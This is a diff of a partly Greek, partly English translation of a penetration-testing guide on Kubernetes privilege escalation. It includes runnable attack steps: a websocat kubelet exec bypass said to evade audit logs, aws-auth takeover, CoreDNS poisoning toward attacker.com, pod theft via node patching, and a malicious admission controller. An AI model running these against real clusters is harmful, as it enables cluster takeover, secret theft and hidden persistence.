Είναι δυνατόν να βρεθούν κλειδιά σε απλό κείμενο για την κρυπτογράφηση δεδομένων at rest σε αυτόν τον τύπο αντικειμένου, όπως:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -449,13 +451,13 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
### Αιτήματα Υπογραφής Πιστοποιητικών
|
||||
|
||||
Αν έχετε τα ρήματα **`create`** στον πόρο `certificatesigningrequests` (ή τουλάχιστον στο `certificatesigningrequests/nodeClient`). Μπορείτε να **δημιουργήσετε** ένα νέο CeSR ενός **νέου κόμβου.**
|
||||
Εάν έχετε το ρήμα **`create`** στο resource `certificatesigningrequests` (ή τουλάχιστον στο `certificatesigningrequests/nodeClient`). Μπορείτε να **δημιουργήσετε** ένα νέο CeSR για έναν **νέο node.**
|
||||
|
||||
Σύμφωνα με την [τεκμηρίωση είναι δυνατόν να εγκρίνετε αυτόματα αυτές τις αιτήσεις](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), οπότε σε αυτή την περίπτωση **δεν χρειάζεστε επιπλέον άδειες**. Αν όχι, θα πρέπει να μπορείτε να εγκρίνετε την αίτηση, που σημαίνει ενημέρωση στο `certificatesigningrequests/approval` και `approve` στο `signers` με resourceName `<signerNameDomain>/<signerNamePath>` ή `<signerNameDomain>/*`
|
||||
Σύμφωνα με την [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), έτσι σε αυτή την περίπτωση **δεν χρειάζεστε επιπλέον δικαιώματα**. Αν όχι, θα χρειαστεί να μπορείτε να εγκρίνετε το αίτημα, που σημαίνει update στο `certificatesigningrequests/approval` και `approve` στα `signers` με resourceName `<signerNameDomain>/<signerNamePath>` ή `<signerNameDomain>/*`
|
||||
|
||||
Ένα **παράδειγμα ρόλου** με όλες τις απαιτούμενες άδειες είναι:
|
||||
Ένα **παράδειγμα role** με όλα τα απαιτούμενα δικαιώματα είναι:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -486,19 +488,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Έτσι, με την έγκριση του νέου CSR κόμβου, μπορείτε να **καταχραστείτε** τις ειδικές άδειες των κόμβων για να **κλέψετε μυστικά** και να **κλιμακώσετε προνόμια**.
|
||||
Άρα, με το νέο node CSR εγκεκριμένο, μπορείτε να **abuse** τις ειδικές άδειες των nodes για να **steal secrets** και να **escalate privileges**.
|
||||
|
||||
Στο [**αυτό το άρθρο**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) και [**σε αυτό**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) η διαμόρφωση TLS Bootstrap του GKE K8s είναι ρυθμισμένη με **αυτόματη υπογραφή** και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να τα καταχραστεί για να κλιμακώσει προνόμια κλέβοντας μυστικά.\
|
||||
Αν **έχετε τα αναφερόμενα προνόμια, μπορείτε να κάνετε το ίδιο**. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει έναν νέο κόμβο να έχει πρόσβαση σε μυστικά μέσα σε κοντέινερ, επειδή ένας **κόμβος μπορεί να έχει πρόσβαση μόνο στα μυστικά των κοντέινερ που είναι τοποθετημένα σε αυτόν.**
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
|
||||
Εάν **έχετε τα αναφερθέντα privileges μπορείτε να κάνετε το ίδιο**. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει ένα νέο node να έχει πρόσβαση σε secrets μέσα σε containers επειδή a **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
Ο τρόπος για να παρακάμψετε αυτό είναι απλώς να **δημιουργήσετε διαπιστευτήρια κόμβου για το όνομα του κόμβου όπου είναι τοποθετημένο το κοντέινερ με τα ενδιαφέροντα μυστικά** (αλλά απλώς ελέγξτε πώς να το κάνετε στο πρώτο άρθρο):
|
||||
Ο τρόπος για να παρακάμψετε αυτό είναι απλώς να **create a node credentials for the node name where the container with the interesting secrets is mounted** (αλλά έλεγξε απλώς πώς να το κάνεις στο πρώτο post):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Οι φορείς που μπορούν να τροποποιήσουν **`configmaps`** στο namespace kube-system σε EKS (πρέπει να είναι σε AWS) clusters μπορούν να αποκτήσουν προνόμια διαχειριστή του cluster αντικαθιστώντας το **aws-auth** configmap.\
|
||||
Οι ρήτρες που απαιτούνται είναι **`update`** και **`patch`**, ή **`create`** αν το configmap δεν έχει δημιουργηθεί:
|
||||
Οι οντότητες (principals) που μπορούν να τροποποιήσουν **`configmaps`** στο namespace kube-system σε clusters EKS (πρέπει να βρίσκονται στο AWS) μπορούν να αποκτήσουν δικαιώματα διαχειριστή του cluster αντικαθιστώντας το configmap **aws-auth**.\
|
||||
Τα απαιτούμενα verbs είναι **`update`** και **`patch`**, ή **`create`** αν το configmap δεν είχε δημιουργηθεί:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -538,18 +540,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Μπορείτε να χρησιμοποιήσετε **`aws-auth`** για **persistency** δίνοντας πρόσβαση σε χρήστες από **άλλους λογαριασμούς**.
|
||||
> Μπορείς να χρησιμοποιήσεις **`aws-auth`** για **persistence** δίνοντας πρόσβαση σε χρήστες από **άλλους λογαριασμούς**.
|
||||
>
|
||||
> Ωστόσο, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **δεν λειτουργεί από διαφορετικό λογαριασμό**. Αλλά στην πραγματικότητα, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` λειτουργεί αν βάλετε το ARN του cluster αντί για απλώς το όνομα.\
|
||||
> Για να λειτουργήσει το `kubectl`, απλώς βεβαιωθείτε ότι έχετε **ρυθμίσει** το **kubeconfig των θυμάτων** και στα args εκτέλεσης του aws προσθέστε `--profile other_account_role` ώστε το kubectl να χρησιμοποιεί το προφίλ του άλλου λογαριασμού για να αποκτήσει το token και να επικοινωνήσει με το AWS.
|
||||
> Ωστόσο, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **δεν λειτουργεί από διαφορετικό λογαριασμό**. Αλλά στην πραγματικότητα `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` λειτουργεί αν βάλεις το ARN του cluster αντί για μόνο το όνομα.\
|
||||
> Για να λειτουργήσει το `kubectl`, απλώς βεβαιώσου να **configure** το **victims kubeconfig** και στα aws exec args πρόσθεσε `--profile other_account_role` ώστε το kubectl να χρησιμοποιεί το profile του άλλου λογαριασμού για να πάρει το token και να επικοινωνήσει με την AWS.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Αν έχετε τις άδειες να τροποποιήσετε το **`coredns` configmap** στο namespace `kube-system`, μπορείτε να τροποποιήσετε τις διευθύνσεις που θα επιλυθούν ώστε να μπορείτε να εκτελέσετε επιθέσεις MitM για **να κλέψετε ευαίσθητες πληροφορίες ή να εισάγετε κακόβουλο περιεχόμενο**.
|
||||
Αν έχεις τα δικαιώματα να τροποποιήσεις το **`coredns` configmap** στο namespace `kube-system`, μπορείς να αλλάξεις τις διευθύνσεις στις οποίες θα επιλύονται τα domains ώστε να μπορέσεις να εκτελέσεις MitM επιθέσεις για να **υποκλέψεις ευαίσθητες πληροφορίες ή να εισάγεις κακόβουλο περιεχόμενο**.
|
||||
|
||||
Οι ρήματα που χρειάζονται είναι **`update`** και **`patch`** πάνω στο **`coredns`** configmap (ή σε όλα τα config maps).
|
||||
Οι verbs που απαιτούνται είναι **`update`** και **`patch`** πάνω στο **`coredns`** configmap (ή σε όλα τα config maps).
|
||||
|
||||
Ένα κανονικό **coredns file** περιέχει κάτι σαν αυτό:
|
||||
Ένα τυπικό **coredns file** περιέχει κάτι σαν το παρακάτω:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -579,58 +581,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Ένας επιτιθέμενος θα μπορούσε να το κατεβάσει εκτελώντας `kubectl get configmap coredns -n kube-system -o yaml`, να το τροποποιήσει προσθέτοντας κάτι όπως `rewrite name victim.com attacker.com` έτσι ώστε όποτε προσπελαστεί το `victim.com`, στην πραγματικότητα το `attacker.com` να είναι το domain που θα προσπελαστεί. Και στη συνέχεια να το εφαρμόσει εκτελώντας `kubectl apply -f poison_dns.yaml`.
|
||||
Ένας επιτιθέμενος μπορεί να το κατεβάσει εκτελώντας `kubectl get configmap coredns -n kube-system -o yaml`, να το τροποποιήσει προσθέτοντας κάτι σαν `rewrite name victim.com attacker.com` έτσι ώστε κάθε φορά που γίνεται πρόσβαση στο `victim.com` στην πραγματικότητα να γίνεται πρόσβαση στο domain `attacker.com`. Και μετά να το εφαρμόσει εκτελώντας `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Μια άλλη επιλογή είναι να επεξεργαστεί απλά το αρχείο εκτελώντας `kubectl edit configmap coredns -n kube-system` και κάνοντας αλλαγές.
|
||||
Μια άλλη επιλογή είναι απλώς να επεξεργαστείτε το αρχείο εκτελώντας `kubectl edit configmap coredns -n kube-system` και να κάνετε τις αλλαγές.
|
||||
|
||||
### Escalating in GKE
|
||||
### Κλιμάκωση στο GKE
|
||||
|
||||
Υπάρχουν **2 τρόποι για να ανατεθούν δικαιώματα K8s σε GCP principals**. Σε κάθε περίπτωση, ο principal χρειάζεται επίσης την άδεια **`container.clusters.get`** για να μπορέσει να συγκεντρώσει διαπιστευτήρια για να έχει πρόσβαση στο cluster, αλλιώς θα χρειαστεί να **δημιουργήσει το δικό του αρχείο ρυθμίσεων kubectl** (ακολουθήστε τον επόμενο σύνδεσμο).
|
||||
Υπάρχουν **2 τρόποι για να ανατεθούν K8s permissions σε GCP principals**. Σε κάθε περίπτωση ο principal χρειάζεται επίσης το permission **`container.clusters.get`** για να μπορεί να συγκεντρώσει credentials για πρόσβαση στο cluster, ή θα χρειαστεί να **generate your own kubectl config file** (ακολουθήστε τον επόμενο σύνδεσμο).
|
||||
|
||||
> [!WARNING]
|
||||
> Όταν μιλάτε με το K8s api endpoint, το **GCP auth token θα σταλεί**. Στη συνέχεια, το GCP, μέσω του K8s api endpoint, θα ελέγξει πρώτα αν ο **principal** (με email) **έχει οποιαδήποτε πρόσβαση μέσα στο cluster**, και μετά θα ελέγξει αν έχει **οποιαδήποτε πρόσβαση μέσω GCP IAM**.\
|
||||
> Αν **οποιοδήποτε** από αυτά είναι **αληθές**, θα **απαντηθεί**. Αν **όχι**, θα δοθεί ένα **σφάλμα** που προτείνει να δοθούν **δικαιώματα μέσω GCP IAM**.
|
||||
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
|
||||
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
|
||||
|
||||
Στη συνέχεια, η πρώτη μέθοδος είναι η χρήση **GCP IAM**, τα δικαιώματα K8s έχουν τα **ισοδύναμα δικαιώματα GCP IAM**, και αν ο principal τα έχει, θα μπορεί να τα χρησιμοποιήσει.
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Η δεύτερη μέθοδος είναι **η ανάθεση δικαιωμάτων K8s μέσα στο cluster** αναγνωρίζοντας τον χρήστη μέσω του **email** του (συμπεριλαμβανομένων των GCP service accounts).
|
||||
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
|
||||
|
||||
### Create serviceaccounts token
|
||||
|
||||
Principals που μπορούν να **δημιουργήσουν TokenRequests** (`serviceaccounts/token`) Όταν μιλούν με το K8s api endpoint SAs (πληροφορίες από [**εδώ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Principals που μπορούν να **`update`** ή **`patch`** **`pods/ephemeralcontainers`** μπορούν να αποκτήσουν **εκτέλεση κώδικα σε άλλα pods**, και ενδεχομένως να **σπάσουν** στο node τους προσθέτοντας ένα ephemeral container με ένα privileged securityContext.
|
||||
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
|
||||
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
Principals με οποιοδήποτε από τα ρήματα `create`, `update` ή `patch` πάνω σε `validatingwebhookconfigurations` ή `mutatingwebhookconfigurations` μπορεί να είναι σε θέση να **δημιουργήσουν μία από αυτές τις webhookconfigurations** προκειμένου να μπορέσουν να **αναβαθμίσουν τα δικαιώματα**.
|
||||
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
|
||||
|
||||
Για ένα [`mutatingwebhookconfigurations` παράδειγμα ελέγξτε αυτή την ενότητα της ανάρτησης](#malicious-admission-controller).
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Escalate
|
||||
### Κλιμάκωση
|
||||
|
||||
Όπως μπορείτε να διαβάσετε στην επόμενη ενότητα: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), ένας principal δεν μπορεί να ενημερώσει ούτε να δημιουργήσει ρόλους ή clusterroles χωρίς να έχει ο ίδιος αυτές τις νέες άδειες. Εκτός αν έχει το **ρήμα `escalate` ή `*`** πάνω σε **`roles`** ή **`clusterroles`** και τις αντίστοιχες επιλογές binding.\
|
||||
Τότε μπορεί να ενημερώσει/δημιουργήσει νέους ρόλους, clusterroles με καλύτερες άδειες από αυτές που έχει.
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
|
||||
### Nodes proxy
|
||||
|
||||
Principals με πρόσβαση στο **`nodes/proxy`** υποπόρο μπορούν να **εκτελέσουν κώδικα σε pods** μέσω του Kubelet API (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Περισσότερες πληροφορίες σχετικά με την αυθεντικοποίηση Kubelet σε αυτή τη σελίδα:
|
||||
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Έχετε ένα παράδειγμα για το πώς να αποκτήσετε [**RCE μιλώντας εξουσιοδοτημένα σε ένα Kubelet API εδώ**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
### Delete pods + unschedulable nodes
|
||||
- Το Kubelet αντιστοιχίζει τις HTTP μεθόδους σε RBAC verbs **πριν** την αναβάθμιση του πρωτοκόλλου. Τα WebSocket handshakes πρέπει να ξεκινούν με **HTTP GET** (`Connection: Upgrade`), οπότε το `/exec` μέσω WebSocket ελέγχεται ως **verb `get`** αντί του αναμενόμενου `create`.
|
||||
- Οι `/exec`, `/run`, `/attach`, και `/portforward` δεν χαρτογραφούνται ρητά και εμπίπτουν στο προεπιλεγμένο **`proxy`** subresource, οπότε το ερώτημα εξουσιοδότησης γίνεται **`can <user> get nodes/proxy?`**
|
||||
- Εάν ένα token έχει μόνο **`nodes/proxy` + `get`**, η άμεση πρόσβαση WebSocket στο kubelet στο `https://<node_ip>:10250` επιτρέπει την αυθαίρετη εκτέλεση εντολών σε οποιοδήποτε pod σε εκείνο το node. Το ίδιο αίτημα μέσω του API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) απορρίπτεται επειδή είναι κανονικό HTTP POST και χαρτογραφείται στο `create`.
|
||||
- Το kubelet δεν διενεργεί δεύτερο έλεγχο εξουσιοδότησης μετά την αναβάθμιση σε WebSocket· αξιολογείται μόνο το αρχικό GET.
|
||||
|
||||
Principals που μπορούν να **διαγράψουν pods** (`delete` ρήμα πάνω σε `pods` πόρο), ή **να εκδιώξουν pods** (`create` ρήμα πάνω σε `pods/eviction` πόρο), ή **να αλλάξουν την κατάσταση του pod** (πρόσβαση σε `pods/status`) και μπορούν **να κάνουν άλλους κόμβους μη προγραμματίσιμους** (πρόσβαση σε `nodes/status`) ή **να διαγράψουν κόμβους** (`delete` ρήμα πάνω σε `nodes` πόρο) και έχουν έλεγχο σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλους κόμβους** ώστε να **εκτελούνται** στον **συμβιβασμένο** **κόμβο** και ο επιτιθέμενος μπορεί να **κλέψει τους τόκενς** από αυτά τα pods.
|
||||
**Άμεσο exploit (απαιτεί δικτυακή προσβασιμότητα στο kubelet και ένα token με `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Χρησιμοποιήστε την **Node IP**, όχι το όνομα του κόμβου. Το ίδιο αίτημα με `curl -X POST` θα είναι **Forbidden** γιατί αντιστοιχεί στο `create`.
|
||||
- Η άμεση πρόσβαση στο kubelet παρακάμπτει τον API server, οπότε το AuditPolicy εμφανίζει μόνο τα `subjectaccessreviews` από το kubelet user agent και **δεν καταγράφει τις εντολές `pods/exec`**.
|
||||
- Απαριθμήστε τους επηρεαζόμενους service accounts με το [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) για να βρείτε tokens περιορισμένα σε `nodes/proxy` GET.
|
||||
|
||||
### Διαγραφή pods + unschedulable nodes
|
||||
|
||||
Οντότητες που μπορούν να **διαγράψουν pods** (`delete` verb over `pods` resource), ή να **εκδιώξουν pods** (`create` verb over `pods/eviction` resource), ή να **αλλάξουν το status ενός pod** (πρόσβαση σε `pods/status`) και μπορούν να **κάνουν άλλους κόμβους unschedulable** (πρόσβαση σε `nodes/status`) ή να **διαγράψουν nodes** (`delete` verb over `nodes` resource) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλους κόμβους** ώστε να εκτελεστούν στον **παραβιασμένο** **κόμβο** και ο επιτιθέμενος να **κλέψει τα tokens** από αυτά τα pods.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -641,41 +660,41 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Κατάσταση Υπηρεσιών (CVE-2020-8554)
|
||||
### Κατάσταση υπηρεσιών (CVE-2020-8554)
|
||||
|
||||
Οι Principals που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ρυθμίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **μη διορθωμένο CVE-2020-8554** και να ξεκινήσουν **MiTM επιθέσεις κατά του κλάστερ**. Οι περισσότερες μετρήσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Οντότητες που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ορίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **unfixed CVE-2020-8554** και να ξεκινήσουν επιθέσεις **MiTM** εναντίον του cluster. Οι περισσότερες μετριάσεις για το CVE-2020-8554 αποτρέπουν μόνο ExternalIP services (σύμφωνα με [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Κατάσταση Κόμβων και Pods
|
||||
### Κατάσταση Nodes και Pods
|
||||
|
||||
Οι Principals με **`update`** ή **`patch`** δικαιώματα πάνω σε `nodes/status` ή `pods/status`, θα μπορούσαν να τροποποιήσουν τις ετικέτες για να επηρεάσουν τους περιορισμούς προγραμματισμού που επιβάλλονται.
|
||||
Οντότητες με δικαιώματα **`update`** ή **`patch`** πάνω σε `nodes/status` ή `pods/status`, μπορούν να τροποποιήσουν labels ώστε να επηρεάσουν τους επιβαλλόμενους περιορισμούς scheduling.
|
||||
|
||||
## Ενσωματωμένη Πρόληψη Κλιμάκωσης Προνομίων
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Το Kubernetes διαθέτει έναν [ενσωματωμένο μηχανισμό](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) για την πρόληψη της κλιμάκωσης προνομίων.
|
||||
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
|
||||
|
||||
Αυτό το σύστημα διασφαλίζει ότι **οι χρήστες δεν μπορούν να αυξήσουν τα προνόμιά τους τροποποιώντας ρόλους ή δεσμεύσεις ρόλων**. Η επιβολή αυτού του κανόνα συμβαίνει σε επίπεδο API, παρέχοντας μια προστασία ακόμη και όταν ο RBAC authorizer είναι ανενεργός.
|
||||
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
|
||||
|
||||
Ο κανόνας stipulates ότι ένας **χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο εάν κατέχει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος**. Επιπλέον, το εύρος των υπαρχόντων δικαιωμάτων του χρήστη πρέπει να ευθυγραμμίζεται με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε σε επίπεδο κλάστερ για ClusterRoles είτε περιορισμένο στην ίδια namespace (ή σε επίπεδο κλάστερ) για Roles.
|
||||
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Υπάρχει μια εξαίρεση στον προηγούμενο κανόνα. Εάν ένας principal έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`** μπορεί να αυξήσει τα προνόμια των ρόλων και των clusterroles ακόμη και χωρίς να έχει τα δικαιώματα ο ίδιος.
|
||||
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
|
||||
|
||||
### **Λάβετε & Ενημερώστε RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Φαίνεται ότι αυτή η τεχνική δούλευε πριν, αλλά σύμφωνα με τις δοκιμές μου δεν λειτουργεί πια για τον ίδιο λόγο που εξηγήθηκε στην προηγούμενη ενότητα. Δεν μπορείτε να δημιουργήσετε/τροποποιήσετε ένα rolebinding για να δώσετε στον εαυτό σας ή σε έναν διαφορετικό SA κάποια προνόμια αν δεν έχετε ήδη.**
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
|
||||
Το προνόμιο να δημιουργήσετε Rolebindings επιτρέπει σε έναν χρήστη να **δεσμεύσει ρόλους σε έναν λογαριασμό υπηρεσίας**. Αυτό το προνόμιο μπορεί δυνητικά να οδηγήσει σε κλιμάκωση προνομίων επειδή **επιτρέπει στον χρήστη να δεσμεύσει προνόμια διαχειριστή σε έναν συμβιβασμένο λογαριασμό υπηρεσίας.**
|
||||
Το προνόμιο δημιουργίας Rolebindings επιτρέπει σε έναν χρήστη να **bind roles to a service account**. Αυτό το προνόμιο μπορεί δυνητικά να οδηγήσει σε privilege escalation διότι **επιτρέπει στον χρήστη να bind admin privileges σε ένα compromised service account.**
|
||||
|
||||
## Άλλες Επιθέσεις
|
||||
|
||||
### Εφαρμογή Proxy Sidecar
|
||||
### Εφαρμογή sidecar proxy
|
||||
|
||||
Από προεπιλογή δεν υπάρχει κρυπτογράφηση στην επικοινωνία μεταξύ των pods. Αμοιβαία πιστοποίηση, αμφίδρομη, pod προς pod.
|
||||
Από προεπιλογή δεν υπάρχει κρυπτογράφηση στην επικοινωνία μεταξύ pods. Mutual authentication, two-way, pod to pod.
|
||||
|
||||
#### Δημιουργία εφαρμογής proxy sidecar
|
||||
#### Δημιουργία sidecar proxy app
|
||||
|
||||
Ένα container sidecar αποτελείται απλώς από την προσθήκη ενός **δεύτερου (ή περισσότερων) container μέσα σε ένα pod**.
|
||||
Ένα sidecar container συνίσταται απλά στο να προσθέσεις **δεύτερο (ή περισσότερους) container μέσα σε ένα pod**.
|
||||
|
||||
Για παράδειγμα, το παρακάτω είναι μέρος της διαμόρφωσης ενός pod με 2 containers:
|
||||
```yaml
|
||||
@@ -687,17 +706,17 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Για παράδειγμα, για να προσθέσετε ένα backdoor σε ένα υπάρχον pod με ένα νέο container, μπορείτε απλώς να προσθέσετε ένα νέο container στην προδιαγραφή. Σημειώστε ότι μπορείτε να **δώσετε περισσότερες άδειες** στο δεύτερο container που δεν θα έχει το πρώτο.
|
||||
For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could **give more permissions** to the second container that the first won't have.
|
||||
|
||||
Περισσότερες πληροφορίες στο: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Κακόβουλος Ελεγκτής Εισόδου
|
||||
### Κακόβουλος Admission Controller
|
||||
|
||||
Ένας ελεγκτής εισόδου **παρεμβαίνει σε αιτήματα προς τον διακομιστή API του Kubernetes** πριν από την αποθήκευση του αντικειμένου, αλλά **μετά την πιστοποίηση και την εξουσιοδότηση του αιτήματος**.
|
||||
Ένας Admission Controller **intercepts requests to the Kubernetes API server** πριν από την αποθήκευση του αντικειμένου, αλλά **after the request is authenticated** **and authorized**.
|
||||
|
||||
Εάν ένας επιτιθέμενος καταφέρει με κάποιο τρόπο να **εισάγει έναν Ελεγκτή Μεταβολής Εισόδου**, θα είναι σε θέση να **τροποποιήσει ήδη πιστοποιημένα αιτήματα**. Έχοντας τη δυνατότητα να εκμεταλλευτεί πιθανώς, και πιο συχνά να παραμείνει στο cluster.
|
||||
If an attacker somehow manages to **inject a Mutation Admission Controller**, he will be able to **modify already authenticated requests**. Αυτό μπορεί να του επιτρέψει ενδεχομένως privesc, και πιο συχνά να persist στο cluster.
|
||||
|
||||
**Παράδειγμα από** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
@@ -711,23 +730,23 @@ kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
Στη συνέχεια, αναπτύξτε ένα νέο pod:
|
||||
Στη συνέχεια αναπτύξτε ένα νέο pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
